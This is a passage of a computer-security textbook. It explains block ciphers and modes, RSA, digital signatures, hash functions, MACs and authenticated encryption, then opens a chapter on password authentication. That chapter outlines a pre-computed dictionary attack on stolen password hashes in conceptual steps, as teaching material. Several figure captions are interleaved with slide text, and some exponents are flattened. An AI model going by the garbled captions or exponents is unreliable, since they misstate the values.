phers, block ciphers, processes plaintext in fixed-length chunks or blocks. Each block,
perhaps a group of ASCII-encoded characters, is encrypted with a fixed transformation
dependent on the key. From a black-box (input-output) perspective, a block cipher’s main
properties are blocklength (block size in bits) and keylength (key size in bits). When using
a block cipher, if the last plaintext block has fewer bits than the blocklength, it is padded
with “filler” characters. A common non-ambiguous padding rule is to always append a
1-bit, followed by zero or more 0-bits as necessary to fill out the block.
AES BLOCK CIPHER . Today’s most widely used block cipher is AES (Figure 2.3),
specified by the Advanced Encryption Standard. Created by researchers at Flemish uni-
versity KU Leuven, the algorithm itself (Rijndael) was selected after an open, multi-year
competition run by the (U.S.) National Institute of Standards and Technology (NIST). A
similar NIST competition resulted in the SHA-3 hash function (Section 2.5). Table 2.2
(Section 2.7) compares AES interface parameters with other algorithms.
2.2. Symmetric-key encryption and decryption 35
D
mi + D k
mi = Dk(ci) k E
+ ci-1
Figure 2.4: ECB and CBC modes of operation. The plaintext m = m1 m2 · · · mt becomes
ciphertext c = c1 c2 · · · ct of the same length. ⊕ denotes bitwise exclusive-OR. Here the
Ch.2. Modes of opera/on of a block cipher. $\plus$ is exclusive-or. The IV is
IVan ini/aliza/on vector is ...
(initialization vector) is a bitstring of length equal to the cipher’s blocklength (e.g.,
n = 128). In CBC mode, if a fixed m is encrypted under the same key k and same IV, the
resulting ciphertext blocks are the same each time; changing the IV disrupts this.
ECB ENCRYPTION AND MODES OF OPERATION . Let E denote a block cipher with
blocklength n, say n = 128. If a plaintext m has bitlength exactly n also, equation (2.1) is
used directly with just one 128-bit “block operation”. Longer plaintexts are broken into
128-bit blocks for encryption—so a 512-bit plaintext is processed in four blocks. The
block operation maps each of the 2128 possible 128-bit input blocks to a distinct 128-bit
ciphertext block (this allows the mapping to be reversed; the block operation is a permu-
tation). Each key defines a fixed such “code-book” mapping. In the simplest case (Figure
2.4a), each encryption block operation is independent of adjacent blocks; this is called
electronic code-book (ECB) mode of the block cipher E. If a given key k is used to en-
crypt several identical plaintext blocks mi , then identical ciphertext blocks ci result; ECB
mode does not hide such patterns. This information leak can be addressed by including
random bits within a reserved field in each block, but that is inefficient and awkward. In-
stead, various methods called modes of operation (below) combine successive n-bit block
operations such that the encryption of one block depends on other blocks.
B LOCK CIPHER MODE EXAMPLES : CBC, CTR. For reasons noted above, ECB
mode is discouraged for messages exceeding one block, or if one key is used for multi-
ple messages. Instead, standard block cipher modes of operation are used to make block
encryptions depend on adjacent blocks (the block encryption mapping is then context-
36 Chapter 2. Cryptographic Building Blocks
keystream
plaintext block encrypt k plaintext bit mi + ki ...
generator
k
ciphertext bit ci
ciphertext block
keystream
plaintext block decrypt k plaintext bit mi + ki ...
generator
k
Figure 2.6: Block cipher (left) vs. stream cipher (right). Plaintext blocks might be 128
bits. The stream cipher encryption may operate on symbols (e.g., 8-bit units) rather than
individual bits; in this case the units output by the keystream generator match that size.
‡Exercise (ECB leakage of patterns). For a picture with large uniform color patterns,
Ch.2. Block cipher (le0) vs. stream cipher (right).
obtain its uncompressed bitmap image file (each pixel’s color is represented using, e.g.,
Plaintext blocks might be 128 bits. If the stream cipher encrypAon operates
32 or 64 bits). ECB-encrypt the bitmap using a block cipher of blocklength 64 or 128 bits.
on symbols (e.g., 8-bit units) rather than bits, then the units output by the
Report on any data patterns evident when the encrypted bitmap is displayed.
keystream generator match that size.
‡Exercise (Modes of operation: properties). Summarize the properties, advantages
and disadvantages of the following long-standing modes of operation: ECB, CBC, CTR,
CFB, OFB (hint: [22, pages 228–233] or [26]). Do the same for XTS (hint: [11]).
E NCRYPTION IN PRACTICE . In practice today, symmetric-key encryption is almost
always accompanied by a means to provide integrity protection (not just confidentiality).
Such authenticated encryption is discussed in Section 2.7, after an explanation of message
authentication codes (MACs) in Section 2.6.
2.3. Public-key encryption and decryption 37
Figure 2.8: Hybrid encryption. The main data (payload message m) is encrypted using
Ch.2. Hybrid encryp0on. The main data (a payload message) is encrypted using a
a symmetric key k, while k is made available by public-key methods. As shown, an
symmetric key, and that key is made available by public-key methods. Here Alice
originator (say Alice) encrypts a message key k for Bob alone using his public key eB (e.g.,
an creates a symmetric key k and using it with a symmetric-key algorithm, encrypts the
RSA key), and attaches this encrypted k to the encrypted payload; this suits a store-and-
message. The message key is encrypted for Bob using his RSA public key eB.
forward case (e.g., email). For a real-time communication session, k may alternatively be
Alterna0vely, k is a shared Alice-Bob key established byDiffie-Hellman key agreement
a shared Alice-Bob key established by Diffie-Hellman key agreement (Chapter 4).
(Chapter 4). Case 3 (non-hybrid): k is a data key, protected by a symmetric key-
encryp0ng key or KEK), e.g., using a key hierarchy per Google (see AJM slides, Sept
2018).
H YBRID ENCRYPTION . Symmetric-key algorithms are typically faster than public-
key algorithms. On the other hand, public-key methods are convenient for establishing
shared secret keys between endpoints (as just noted). Therefore, to send encrypted mes-
sages, often public-key methods are used to establish a shared symmetric key k (session
key) between communication endpoints, and k is then used in a symmetric-key algorithm
for efficient “bulk encryption” of a payload message m. See Fig. 2.8. Thus a primary use
of RSA encryption (below) is to encrypt relatively short data keys or session keys, i.e., for
key management (Chapter 4), rather than for bulk encryption of messages themselves.
‡M ATH DETAILS : RSA P UBLIC -K EY E NCRYPTION . Here we outline the techni-
cal details of RSA, the first popular public-key encryption method. Per notation above,
a party A has a public key eA and private key dA . When used to parameterize the corre-
sponding algorithms E and D, the context is clear and we can use EA and DA to denote the
parameterized algorithms, e.g., EeA (m) ≡ EA (m). For RSA, eA = (e, n). Here n = pq, and
parameters e, d, p, q must satisfy various security properties. Those of present interest are
that p and q are secret large primes (e.g., 1000 bits), and e is an integer chosen such that:
gcd(e, φ(n)) = 1 where φ(n) = (p − 1)(q − 1) in this case.
gcd is the greatest common divisor function, and φ(n) is the Euler phi function, the num-
ber of integers in [1, n] relatively prime to n; its main properties of present interest are
that for a prime p, φ(p) = p − 1, and that if p and q have no factors in common other
than 1 then φ(pq) = φ(p) · φ(q). For RSA, dA = (d, n) where d is computed to satisfy
ed ≡ 1(mod φ(n)), i.e., ed = 1+ (some integer multiple of φ(n)). Now let m be a message
whose binary representation, interpreted as an integer, is less than n (e.g., 2000 bits).
RSA encryption of plaintext m: c = me (mod n), i.e., reduced modulo n
RSA decryption of ciphertext c: m = cd (mod n)
By this we mean, assign to c the number resulting from the modular exponentiation of
m by the exponent e, reduced modulo n. Operations on numbers of this size require spe-
cial “big number” support, provided by crypto libraries such as OpenSSL. Using RSA in
2.4. Digital signatures and verification using public keys 39
practice is somewhat more complicated, but the above gives the basic technical details.
‡Exercise (RSA toy example). You’d like to explain to a 10-year-old how RSA works.
Using p = 5 and q = 7, encrypt and decrypt a “message” (use a number less than n). Here
n = 35, and φ(n) = (p − 1)(q − 1) = (4)(6) = 24. Does e = 5 satisfy the rules? Does
that then imply d = 5 to satisfy the required equation? Now with pencil and paper—yes,
by hand!—compute the RSA encryption of m = 2 to ciphertext c, and the decryption of
c back to m. The exponentiation is commonly done by repeated multiplication, reducing
partial results mod n (i.e., subtract off multiples of the modulus 35 in interim steps). This
example is so artificially small that the parameters “run into each other”—so perhaps for
a 12-year-old, you might try an example using p = 11 and q = 13.
‡Exercise (RSA decryption). Using the above equations defining RSA, show that
RSA decryption actually works, i.e., recovers m. (Hint: [22, page 286].)
S sA V vA E eB D dB
t = Ss (m) m, t c = Ee (m) c
A B
m t c
Alice Bob Alice Bob
sA: signing private key (of Alice) dB: decryp6on private key (of Bob)
vA: verifica6on public key (of Alice) eB: encryp6on public key (of Bob)
Figure 2.9: Public-key signature generation-verification vs. encryption-decryption. For
Alice to encrypt for Bob, she must use his encryption public key; but to sign a message
for Bob, she uses her own signature private key. In a), Alice sends to Bob a pair (m,t)
providing message and signature tag, analogous to the (message, tag) pair sent when using
MACsCh.2. Public-key signature genera6on-verifica6on and encryp6on-decryp6on.
(Figure 2.12). Internal details on signature algorithm S are given in Figure 2.11.
For Alice to encrypt for Bob, she must use his encryp6on public key;
but to sign a message for Bob, she uses her own signature private key. To reduce
confusion, some people use ``private key’’ to refer to the secrets in
differences (which thoroughly confuse non-experts). The public and private parts are used
asymmetric systems, and ``secret key” to refer to those in symmetric-key systems.
in reverse order (the originator uses the private key now), and the key used for signing is
that of the message originator, not the recipient. The details are as follows (Figure 2.9).
In place of encryption public keys, decryption private keys, and algorithms E, D (en-
crypt, decrypt), we now have signing private keys for signature generation, verification
public keys to validate signatures, and algorithms S, V (sign, verify). To sign message
m, Alice uses her signing private key sA to create a tag tA = SsA (m) and sends (m,tA ).
Upon receiving a message-tag pair (m0 ,tA0 ) (the notation change allowing that the pair sent
might be modified en route), any recipient can use Alice’s verification public key vA to
test whether tA0 is a matching tag for m0 from Alice, by computing VvA (m0 ,tA0 ). This returns
VALID if the match is confirmed, otherwise INVALID . Just as for MAC tags (later), even
if verification succeeds, in some applications it may be important to use additional means
to confirm that (m0 ,tA0 ) is not simply a replay of an earlier legitimate signed message.
Exercise (Combining signing and encrypting). Alice wishes to both encrypt and sign
a message m for Bob. Specify the actions that Alice must carry out, and the data values
to be sent to Bob. Explain your choice of whether signing or encryption should be done
first. Be specific about what data values are included within the scope of the signature
operation, and the encryption operation; use equations as necessary. Similarly specify the
actions Bob must carry out to both decrypt the message and verify the digital signature.
(Note the analogous question in Section 2.7 on how to combine MACs with encryption.)
D ISTINCT TERMINOLOGY FOR SIGNATURES AND ENCRYPTION . Even among
university professors, great confusion is caused by misusing encryption-decryption termi-
nology to describe operations involving signatures. For example, it is common to hear and
read that signature generation or verification involves “encrypting” or “decrypting” a mes-
sage or its hash value. This unfortunate wording unnecessarily conflates distinct functions
(signatures and encryption), and predisposes students—and more dangerously, software
2.5. Cryptographic hash functions 41
developers—to believe that it is acceptable to use the same (public, private) key pair for
signatures and confidentiality. (Some signature algorithms are technically incompatible
with encryption; the RSA algorithm can technically be used to provide both signatures
and encryption, but proper implementations of these two functions differ considerably in
detail, and it is prudent to use distinct key pairs.) Herein, we carefully avoid the terms en-
cryption and decryption when describing digital signature operations, and also encourage
using the terms public-key operation and private-key operation.
D IGITAL SIGNATURES IN PRACTICE . For efficiency reasons, digital signatures are
commonly used in conjunction with hash functions, as explained in Section 2.5. This is
one of several motivations for discussing hash functions next.
cryptographic
hash func3on
(H2) second-preimage resistance: given any first input m1 , it should be infeasible to find
any distinct second input m2 such that H(m1 ) = H(m2 ). (Note: there is free choice
of m2 but m1 is fixed. H(m1 ) is the target image to match; m1 is its preimage.)
(H3) collision resistance: it should be infeasible to find any pair of distinct inputs m1 ,
m2 such that H(m1 ) = H(m2 ). (Note: here there is free choice of both m1 and m2 .
When two distinct inputs hash to the same output value, we call it a collision.)
The properties required vary across applications. As examples will elaborate later, H1 is
required for password hash chains (Chapter 3) and also for storing password hashes; for
digital signatures, H2 suffices if an attacker cannot choose a message for others to sign,
but H3 is required if an attacker can choose the message to be signed by others—otherwise
an attacker may get you to sign m1 and then claim that you signed m2 .
C OMPUTATIONAL SECURITY. The one-way property (H1) implies that given a hash
value, an input that produces that hash cannot be easily found—even though many, many
inputs do indeed map to each output. To see this, restrict your attention to only those inputs
of exactly 512 bits, and suppose the hash function output has bitlength 128. Then H maps
each of these 2512 input strings to one of 2128 possible output strings—so on average, 2384
inputs map to each 128-bit output. Thus enormous numbers of collisions exist, but they
should be hard to find in practice; what we have in mind here is called computational
security. Similarly, the term “infeasible” as used in (H1)-(H3) means computationally
infeasible in practice, i.e., assuming all resources that an attacker might be able to harness
over the period of desired protection (and erring on the side of caution for defenders).6
C OMMENT ON BLACK MAGIC . It may be hard to imagine that functions with prop-
erties (H1)-(H3) exist. Their design is a highly specialized art of its own. The role of
security developers is not to design such functions, but to follow the advice of crypto-
graphic experts, who recommend appropriate hash functions for the tasks at hand.
‡Exercise (CRC vs. cryptographic hash). Explain why a cyclical redundancy code
(CRC) algorithm, e.g., a 16- or 32-bit CRC commonly used in network communications
for integrity, is not suitable as a cryptographic hash function (hint: [22, p.363]).
Hash functions fall into two broad service classes in security, as discussed next.
O NE - WAY HASH FUNCTIONS . Applications in which “one-wayness” is critical (e.g.,
password hashing, below), require property H1. In practice, hash functions with H1 of-
ten also provide H2. We prefer to call the first property preimage resistance, because
traditionally functions providing both H1 and H2 are called one-way hash functions.
C OLLISION - RESISTANT HASH FUNCTIONS . A second usage class relies heavily
on the requirement (property) that it be hard to find two inputs having the same hash. If
this is not so, then in some applications using hash functions, an attacker finding such a
pair of inputs might benefit by substituting a second such input in place of the first. As
it turns out, second-preimage resistance (H2) fails to guarantee collision resistance (H3);
for an attacker trying to find two strings yielding the same hash (i.e., a collision), fixing
one string (say m1 in H2) makes collision-finding significantly more costly than if given
6 In
contrast, in information-theoretic security, the question is whether, given unlimited computational
power or time, there is sufficient information to solve a problem. That question is of less interest in practice.
2.5. Cryptographic hash functions 43
free choice of both m1 and m2 . The reason is the birthday paradox (page 44). When it is
important that finding collisions be computationally difficult even for an attacker free to
choose both m1 and m2 , collision resistance (H3) is specified as a requirement. It is easy
to show that H3 implies second-preimage resistance (H2). Furthermore, in practice,7 hash
functions with H2 and H3 also have the one-way property (H1), providing all three. Thus
as a single property in a hash function, H3 (collision resistance) is most advanced.
Example (Hash function used as modification detection code). As an example ap-
plication involving properties H1–H3 above, consider an executable file corresponding to
program P with binary representation p, faithfully representing legitimate source code at
the time P is installed in the filesystem. At that time, using a hash function H with prop-
erties H1-H3, the operating system computes h = H(p). This “trusted-good” hash of the
program is stored in memory that is safe from manipulation by attackers. Later, before
invoking program P, the operating system recomputes the hash of the executable file to
be run, and compares the result to stored value h. If the values match, there is strong
evidence that the file has not been manipulated or substituted by an attacker.
The process in this example provides a data integrity check for one file, immediately
before execution. Data integrity for a designated set of system files could be provided as
an ongoing background service by similarly computing and storing a set of trusted hashes
(one per file) at some initial time before exposure to manipulation, and then periodically
recomputing the file hashes and comparing to the allowlist of known-good stored values.8
‡Exercise (Hash function properties—data integrity). In the above example, was the
collision resistance property (H3) actually needed? Give one set of attack circumstances
under which H3 is necessary, and a different scenario under which H needs only second-
preimage resistance to detect an integrity violation on the protected file. (An analogous
question arises regarding necessary properties of a hash function when used in conjunction
with digital signatures, as discussed shortly.)
Example (Using one-way functions in password verification). One-way hash func-
tions H are often used in password authentication as follows. A userid and password p
entered on a client device are sent (hopefully over an encrypted link!) to a server. The
server hashes the p received to H(p), and uses the userid to index a data record containing
the (known-correct) password hash. If the values match, login succeeds. This avoids stor-
ing, at the server, plaintext passwords, which might be directly available to disgruntled
administrators, anyone with access to backup storage, or via server database breakins.
Exercise (Hash function properties—password hashing). In the example above, would
a hash function having the one-way property, but not second-preimage resistance, be use-
ful for password verification? Explain.
Exercise (Password hashing at the client end). The example using a one-way hash
function in password verification motivates storing password hashes (vs. clear passwords)
at the server. Suppose instead that passwords were hashed at the client side, and the
7 There are pathological examples of functions having H2 and H3 without the one-way property (H1), but,
password hash was sent to the server (rather than the password itself). Would this be
helpful or not? Should the password hash be protected during transmission to the server?
Example (Hash examples). Table 2.1 shows common hash functions in use: SHA-3,
SHA-2, SHA-1 and MD5. Among these, the more recently introduced versions, and those
with longer outputs, are generally preferable choices from a security viewpoint. (Why?)
B IRTHDAY PARADOX . What number n of people are needed in a room before a
shared birthday is expected among them (i.e., with probability p = 0.5)? As it turns out,
only about 23 (for p = 0.5). A related question is: Given n people in a room, what is
the probability that two of them have the same birthday? This probability rises rapidly
with n: p = 0.71 for n = 30, and p = 0.97 for n = 50. Many people are surprised that n
is so small (first question), and that the probability rises so rapidly. Our interest in this
birthday paradox stems from analogous surprises arising frequently in security: attackers
can often solve problems more efficiently than expected (e.g., arranging hash function
collisions as in property H3 above). The key point is that the “collision” here is not for
one pre-specified day (e.g., your birthday); any matching pair will do, and as n increases,
the number of pairs of people is C(n, 2) = n(n−1)/2, so the number of pairs of days grows
as n2 . From this it is not surprising that further analysis shows that (here with m = 365) a
√
collision is expected when n ≈ m (rather than n ≈ m, as is a common first impression).
D IGITAL SIGNATURES WITH HASH FUNCTIONS . Most digital signature schemes
are implemented using mathematical primitives that operate on fixed-size input blocks.
Breaking a message into blocks of this size, and signing individual pieces, is inefficient.
Thus commonly in practice, to sign a message m, a hash h = H(m) is first computed and h
is signed instead. The details of the hash function H to be used are necessary to complete
the signature algorithm specification, as altering these details alters signatures (and their
validity). Here, H should be collision resistant (H3). Figure 2.11 illustrates the process.
‡Exercise (Hash properties for signatures). For a hash function H used in a digital
signature, outline distinct attacks that can be stopped by hash properties (H2) and (H3).
‡Exercise (Precomputation attacks on hash functions). The definition of the one-way
property (H1) has the curious qualifying phrase “for essentially all”. Explain why this
2.6. Message authentication (data origin authentication) 45
m m t
signature signature
hash funcAon H hash funcAon H
algorithm verificaAon
S h = H(m) h = H(m) V
signature sA vA verificaAon
primiAve primiAve
t = Ss (m)
A
digital signature tag VALID INVALID
Figure 2.11: Signature algorithm with hashing details. The process first hashes message
m to H(m), and then applies the core signing algorithm to the fixed-length hash, not m
itself.Ch.2. Signature with hashing details. The signing algorithm first hashes message m to
Signature verification requires the entire message m as input, likewise hashes it to
H(m),H(m), and then applies the core signing algorithm to the fixed-length hash, not m itself.
and then checks whether an alleged signature tag t for that m is VALID or INVALID
Signature verificaAon likewise requires the enAre message m as input, hashes it to
(e.g., returning boolean values TRUE or FALSE). sA and vA are Alice’s signature private
H(m), and then checks if an alleged signature tag is VALID or INVALID (oJen coded as
key and signature verification public key, respectively. Compare to Figure 2.9.
boolean values TRUE and FALSE). sA and vA are Alice’s signature private key and
signature verificaAon public key, respecAvely. Compare to Figure 2.7.
qualification is necessary (hint: [22, p.337]).
‡Exercise (Merkle hash trees). Explain what a Merkle hash tree is, and how BitTor-
rent uses this construction to efficiently verify the integrity of data pieces in peer-to-peer
downloads. (Hint: Chapter 13 or [22, p.558], and the Wikipedia entry on “Torrent file”.)
‡Exercise (biometrics and fuzzy commitment). For password-based authentication,
rather than storing cleartext user passwords w directly, systems commonly store the hash
H(w) as noted earlier. Can templates for biometric authentication be similarly protected
using one-way hash functions? What role might error-correcting codes play? (Hint: [13].)
message received
shared key k message
key k m k m’
Mk(m’)
tag t = Mk(m) received
tag t’ =? valid if equal
Figure 2.12: Message authentication code (MAC) generation and verification. As op-
posed to unkeyed hash functions, MAC algorithms take as input a secret (symmetric key)
k, as well as an arbitrary-length message m. By design, with high probability, an adversary
not knowing k will be unable to forge a correct tag t for a given message m; and be unable
to Ch.2. Message authen.ca.on code (MAC) algorithm. As opposed to (unkeyed)
generate any new pair (m, t) of matching message and tag (for an unknown k in use).
hash func.ons, MAC algorithms take as input a secret (symmetric key) k,
and an arbitrary-length message m. By design, with high probability, an adversary not
MAC DETAILS . Let M denote a MAC algorithm and k a shared MAC key. If Alice
knowing k will be unable to forge a correct tag t for a given message m; and be unable
wishes to send to Bob a message m and corresponding MAC tag, she computes t = Mk (m)
to generate any new message m and matching tag t (for an unknown k in use).
and sends (m,t). Let (m0 ,t 0 ) denote the pair actually received by Bob (allowing that the le-
gitimate message might be modified en route, e.g., by an attacker). Using his own copy of
k and the received message, Bob computes Mk (m0 ) and checks that it matches t 0 . Beyond
this basic check, for many applications further means should ensure “freshness”—i.e.,
that (m0 ,t 0 ) is not simply a replay of an earlier legitimate message. See Figure 2.12.
Example (MAC examples). An example MAC algorithm based on block ciphers is
CMAC (Section 2.9). In contrast, HMAC gives a general construction employing a generic
hash function H such as those in Table 2.1, leading to names of the form HMAC-H (e.g.,
H can be SHA-1, or variants of SHA-2 and SHA-3). Other MAC algorithms as noted in
Table 2.2 are Poly1305-AES-MAC and those in AEAD combinations in that table.
‡Example (CBC-MAC). From the CBC mode of operation, we can immediately de-
scribe a MAC algorithm called CBC-MAC, to convey how a MAC may be built using a
block cipher.9 To avoid discussion of padding details, assume m = m1 m2 · · · mt is to be
authenticated, with blocks mi of bitlength n, matching the cipher blocklength; the MAC
key is k. Proceed as if carrying out encryption in CBC-mode (Figure 2.4) with IV = 0;
keep only the final ciphertext block ct , and use it as the MAC tag t.
‡Exercise (MACs from hash functions). It may seem that a MAC is easily created by
combining a hash function and a key, but this is non-trivial. a) Given a hash function H and
symmetric keys k1 , k2 , three proposals for creating a MAC from H are the secret prefix,
secret suffix, and envelope method: H1 = H(k1 ||x), H2 = H(x||k2 ), and H3 = H(k1 ||x||k2 ).
Here “||” denotes concatenation, and x is data to be authenticated. Explain why all three
methods are less secure than might be expected (hint: [35]). b) Explain the general con-
struction by which HMAC converts an unkeyed hash function into a MAC (hint: [17]).
9 In practice, CMAC is recommended over CBC-MAC (see notes in Section 2.9).
2.7. ‡Authenticated encryption and further modes of operation 47
‡Exercise (MAC truncation). The bitlength of a MAC tag varies by algorithm; for
those built from hash functions or block ciphers, the default length is that output by the
underlying function. Some standards truncate the tag somewhat, for technical reasons.
Give security arguments both for, and against, truncating MAC outputs (hint: [34, 17]).
‡Exercise (Data integrity mechanisms). Outline three methods, involving different
cryptographic primitives, for providing data integrity on a digital file f .
Exercise (Understanding integrity). a) Can data origin authentication (DOA) be pro-
vided without data integrity (DI)? b) Is it possible to provide DI without DOA? Explain.
AD P
N AEAD C = (C’,T)
K encrypt-
generate H’ N AD C’ T
C = (C’,T)
AD C
N AEAD tag fails “Authentication failed, sorry no plaintext”
K decrypt- P (original plaintext is returned)
verify tag verifies
Ch.2.
Figure AEAD.Authenticated
2.13: If the MAC tagencryption
T is 128 bits, then
with the ciphertext
associated C’ is 128 bits
data (AEAD). longer
If the MAC than
tagthe
T
plaintext. A particular protocol 0could put the tag T into a pre-allocated field in message sub-
is 128 bits, then the ciphertext C is 128 bits longer than the plaintext. A protocol may
header H’. AEAD functionality may be provided by generic composition, e.g., generating C’
pre-allocate a field in sub-header H 0 for tag T . AEAD functionality may be provided by
using a block cipher in CBC mode, and0 T by a CBC-MAC algorithm. The authenticated data
generic
(AD),composition,
shown logicallye.g., generating
adjacent using a (as
to theCplaintext block cipher
both in CBCbymode,
are covered and T by might
MAC integrity), an
algorithm such asintermixed
be physically CMAC (Section 2.9)
into fields ofor HMAC-SHA-2.
sub-header H’. The extra, i.e., associated data
(AD) need not be physically adjacent to the plaintext as shown (provided that logically,
they are covered by MAC integrity in a fixed order). The nonce N, e.g., 96 bits in this
application, is a number used only once for a given key K; reuse puts confidentiality at
risk. If P is empty, the AEAD algorithm is essentially a MAC algorithm.
designed to deliver high security with improved performance over alternatives that make
heavy use of AES (e.g., CCM above), for environments that lack AES hardware support.
Poly1305 MAC requires a 128-bit key for an underlying block cipher (AES is suitable, or
an alternate cipher with 128-bit key and 128-bit blocklength). For an AEAD algorithm,
ChaCha20 is paired with Poly1305 as listed in Table 2.2.
Example (Symmetric algorithms and parameters). Table 2.2 gives examples of well-
known symmetric-key algorithms with blocklengths, keylengths, and related details.
‡Exercise (Authenticated encryption: generic composition). To implement authenti-
cated encryption by serially combining a block cipher and a MAC algorithm, three options
are: 1) MAC-plaintext-then-encrypt (MAC the plaintext, append the MAC tag to the plain-
text, then encrypt both); 2) MAC-ciphertext-after-encrypt (encrypt the plaintext, MAC the
resulting ciphertext, then append the MAC tag); and 3) encrypt-and-MAC-plaintext (the
plaintext is input to each function, and the MAC tag is appended to the ciphertext). Are
all of these options secure? Explain. (Hint: [1, 16, 4], and [37, Fig.2].)
2.8. ‡Certificates, elliptic curves, and equivalent keylengths 49
a certificate’s validity. Certificates and CAs are discussed in greater detail in Chapter 8.
NIST- RECOMMENDED KEYLENGTHS . For public U.S. government use, NIST rec-
ommended (in November 2015) at least 112 bits of “security strength” for symmetric-
key encryption and related digital signature applications. Here “strength” is not the raw
symmetric-key bitlength, but an estimate of security based on best known attacks (e.g.,
triple-DES has three 56-bits keys, but estimated strength only 112 bits). To avoid obvi-
ous “weak-link” targets, multiple algorithms used in conjunction should be of comparable
strength.11 Giving “security strength” estimates for public-key algorithms requires a few
words. The most effective attacks against strong symmetric algorithms like AES are ex-
haustive search attacks on their key space—so a 128-bit AES key is expected to be found
after searching 2127 keys, for a security strength of 127 bits (essentially 128). In contrast,
for public-key cryptosystems based on RSA and Diffie-Hellman (DH), the best attacks do
not require exhaustive search over private-key spaces, but instead faster number-theoretic
computations involving integer factorization and computing discrete logarithms. This is
the reason that, for comparable security, keys for RSA and DH must be much larger than
AES keys. Table 2.3 gives rough estimates for comparable security.
ily overcome by the availability of standard toolkits and libraries. In this book, we use
RSA and Diffie-Hellman examples that do not involve ECC.
[1] M. Bellare and C. Namprempre. Authenticated encryption: Relations among notions and analysis of
the generic composition paradigm. In ASIACRYPT, pages 531–545, 2000. Revised in: J. Crypt., 2008.
[2] D. J. Bernstein. ChaCha, a variant of Salsa20. 28 Jan 2008 manuscript; see also https://cr.yp.to/
chacha.html.
[3] D. J. Bernstein. The Poly1305-AES Message-Authentication Code. In Fast Software Encryption, pages
32–49, 2005. See also https://cr.yp.to/mac.html.
[4] J. Black. Authenticated encryption. In Encyclopedia of Cryptography and Security. Springer (editor:
Henk C.A. van Tilborg), 2005. Manuscript also online, dated 12 Nov 2003.
[5] D. Boneh. Twenty years of attacks on the RSA cryptosystem. Notices of AMS, 46(2):203–213, 1999.
[6] D. Boneh, A. Joux, and P. Q. Nguyen. Why textbook ElGamal and RSA encryption are insecure. In
ASIACRYPT, pages 30–43, 2000.
[7] W. Diffie and M. E. Hellman. New directions in cryptography. IEEE Trans. Info. Theory, 22(6):644–
654, 1976.
[8] W. Diffie and M. E. Hellman. Privacy and authentication: An introduction to cryptography. Proceedings
of the IEEE, 67(3):397–427, March 1979.
[9] N. Ferguson and B. Schneier. Practical Cryptography. Wiley, 2003.
[10] D. Hankerson, A. Menezes, and S. Vanstone. Guide to Elliptic Curve Cryptography. Springer, 2004.
[11] IEEE Computer Society. IEEE Std 1619-2007: Standard for Cryptographic Protection of Data on
Block-Oriented Storage Devices. 18 April 2008. Defines the XTS-AES encryption mode.
[12] J. Jonsson. On the security of CTR + CBC-MAC. In Workshop on Selected Areas in Cryptography
(SAC), pages 76–93, 2002.
[13] A. Juels and M. Wattenberg. A fuzzy commitment scheme. In ACM Comp. & Comm. Security (CCS),
pages 28–36, 1999.
[14] D. Kahn. The Codebreakers. Macmillan, 1967.
[15] G. H. Kim and E. H. Spafford. The design and implementation of Tripwire: A file system integrity
checker. In ACM Comp. & Comm. Security (CCS), pages 18–29, 1994.
[16] H. Krawczyk. The order of encryption and authentication for protecting communications (or: How
secure is SSL?). In CRYPTO, pages 310–331, 2001.
[17] H. Krawczyk, M. Bellare, and R. Canetti. RFC 2104: HMAC: Keyed-Hashing for Message Authenti-
cation, Feb. 1997. Informational; updated by RFC 6151 (March 2011).
[18] T. Krovetz and P. Rogaway. The software performance of authenticated-encryption modes. In Fast
Software Encryption, pages 306–327, 2011.
[19] D. McGrew. RFC 5116: An Interface and Algorithms for Authenticated Encryption, Jan. 2008. Pro-
posed Standard.
[20] D. A. McGrew and J. Viega. The Security and Performance of the Galois/Counter Mode (GCM) of
Operation. In INDOCRYPT, pages 343–355, 2004.
52
References (Chapter 2) 53
Chapter 3
User Authentication—Passwords, Biometrics and Alternatives
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
User Authentication—Passwords,
Biometrics and Alternatives
Computer users regularly enter a username and password to access a local device or re-
mote account. Authentication is the process of using supporting evidence to corroborate
an asserted identity. In contrast, identification (recognition) establishes an identity from
available information without an explicit identity having been asserted—such as pick-
ing out known criminals in a crowd, or finding who matches a given fingerprint; each
crowd face is checked against a list of database faces for a potential match, or a given
fingerprint is tested against a database of fingerprints. For identification, since the test is
one-to-many, problem complexity grows with the number of potential candidates. Au-
thentication involves a simpler one-to-one test; for an asserted username and fingerprint
pair, a single test determines whether the pair matches a corresponding stored template.
Corroborating an asserted identity may be an end-goal (authentication), or a sub-goal
towards the end-goal of authorization—determining whether a requested privilege or re-
source access should be granted to the requesting entity. For example, users may be asked
to enter a password (for the account currently in use) to authorize installation or upgrading
of operating system or application software.
This chapter is on user authentication—humans being authenticated by a computer
system. Chapter 4 addresses machine-to-machine authentication and related cryptographic
protocols. The main topics of focus herein are passwords, hardware-based tokens, and
biometric authentication. We also discuss password managers, CAPTCHAs, graphical
passwords, and background on entropy relevant to the security of user-chosen passwords.
56
3.1. Password authentication 57
whether the password matches the one expected for that userid. If so, access is granted.
A correct password does not ensure that whoever entered it is the authorized user. That
would require a guarantee that no one other than the authorized user could ever possibly
know, obtain, or guess the password—which is unrealistic. A correct match indicates
knowledge of a fixed character string—or possibly a “lucky guess”. But passwords remain
useful as a (weak) means of authentication. We summarize their pros and cons later.
S TORING HASHES VS . CLEARTEXT. To verify entered userid-password pairs, the
system stores sufficient information in a password file F with one row for each userid.
Storing cleartext passwords pi in F would risk directly exposing all pi if F were stolen;
system administrators and other insiders, including those able to access filesystem back-
ups, would also directly have all passwords. Instead, each row of F stores a pair (userid,
hi ), where hi = H(pi ) is a password hash; H is a publicly known one-way hash function
(Chapter 2). The system then computes hi from the user-entered pi to test for a match.
P RE - COMPUTED DICTIONARY ATTACK . If password hashing alone is used as de-
scribed above, an attacker may carry out the following pre-computed dictionary attack.
1. Construct a long list of candidate passwords, w1 , ..., wt .
2. For each w j , compute h j = H(w j ) and store a table T of pairs (h j , w j ) sorted by h j .
3. Steal the password file F containing stored values hi = H(pi ).
4. “Look up” the password pi corresponding to a specifically targeted userid ui with
password hash hi by checking whether hi appears in table T as any value h j ; if so,
the accompanying w j works as pi . If instead the goal is to trawl (find passwords for
arbitrary userids), sort F’s rows by values hi , then compare sorted tables F and T
for matching hashes h j and hi representing H(w j ) and H(pi ); this may yield many
matching pairs, and each accompanying w j will work as ui ’s password pi .
Exercise (Pre-computed dictionary). Using diagrams, illustrate the above attack.
